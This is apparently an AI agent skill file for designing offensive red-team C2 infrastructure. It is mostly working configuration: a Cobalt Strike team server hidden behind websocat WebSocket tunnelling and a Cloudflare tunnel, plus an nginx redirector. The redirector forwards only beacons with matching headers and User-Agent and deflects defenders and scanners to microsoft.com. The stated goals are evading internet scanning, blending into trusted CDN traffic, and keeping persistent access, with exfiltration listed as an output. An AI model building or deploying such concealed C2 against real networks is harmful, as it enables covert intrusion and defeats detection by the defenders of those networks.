advanced-redteam

name: advanced-redteam-ops description: Use when designing C2 infrastructure or OPSEC for a long-haul red-team op — redirectors, malleable profiles, tiered/segregated infra, living-off-the-land, data exfiltration metadata: type: offensive phase: operations kill_chain: phase: [c2, actions] step: [6, 7] attck_tactics: [TA0011, TA0008, TA0010] depends_on: [edr-evasion, exploit-development, red-team-ops] feeds_into: [threat-hunting] inputs: [c2_framework, redirector_config] outputs: [c2_infrastructure, opsec_report, exfil_channel]

Advanced Red Team Operations

When to Activate

• Planning advanced red team engagements
• Designing C2 infrastructure with OPSEC
• Understanding APT TTPs and operational security
• Long-term persistent access scenarios

C2 Infrastructure Design

Redirectors (Never Expose Team Server Directly)

Rule: Team server ONLY binds to localhost. NEVER bind to 0.0.0.0 or external interface.

# Cobalt Strike team server (bind locally)
./TeamServerImage -Dcobaltstrike.server_port=50050 \
  -Dcobaltstrike.server_bindto=127.0.0.1 \
  -Djavax.net.ssl.keyStore=./cobaltstrike.store \
  teamserver 127.0.0.1 <password>

# Tunnel via websocat (CStrike uses raw TCP, smuggle in WebSocket)
websocat -E -b ws-l:127.0.0.1:40000 tcp:127.0.0.1:50050 &

# Cloudflare tunnel (or ngrok)
cloudflared tunnel --url http://127.0.0.1:40000 --no-autoupdate
# Or: named tunnel via Zero Trust → point to domain + UUID path

# On operator machine:
websocat -E -b tcp-l:127.0.0.1:2222 ws://mytunnel.domain.com/<uuid> &
# Connect CStrike client to 127.0.0.1:2222

Benefits:

• Team server never exposed to internet scanning (Shodan, Censys)
• Cloudflare/CDN provides high-reputation front
• Easy to rotate infrastructure — just change tunnel endpoint

Smart Redirectors (Filter Blue Team)

# Nginx redirector with filtering
server {
    listen 443 ssl;
    server_name legit-looking.com;
    
    ssl_certificate /path/to/cert.pem;
    ssl_certificate_key /path/to/key.pem;
    
    # Only forward traffic matching Malleable C2 profile
    location /api/v2/session {
        # Check custom header (beacon identifier)
        if ($http_x_session_id != "valid-beacon-id") {
            return 301 https://microsoft.com$request_uri;
        }
        
        # Check User-Agent matches profile
        if ($http_user_agent !~* "Mozilla/5.0.*Teams") {
            return 301 https://microsoft.com$request_uri;
        }
        
        # Forward to team server
        proxy_pass https://127.0.0.1:8443;
        proxy_ssl_verify off;
    }
    
    # Deflect all other traffic to legitimate site
    location / {
        return 301 https://microsoft.com$request_uri;
    }
}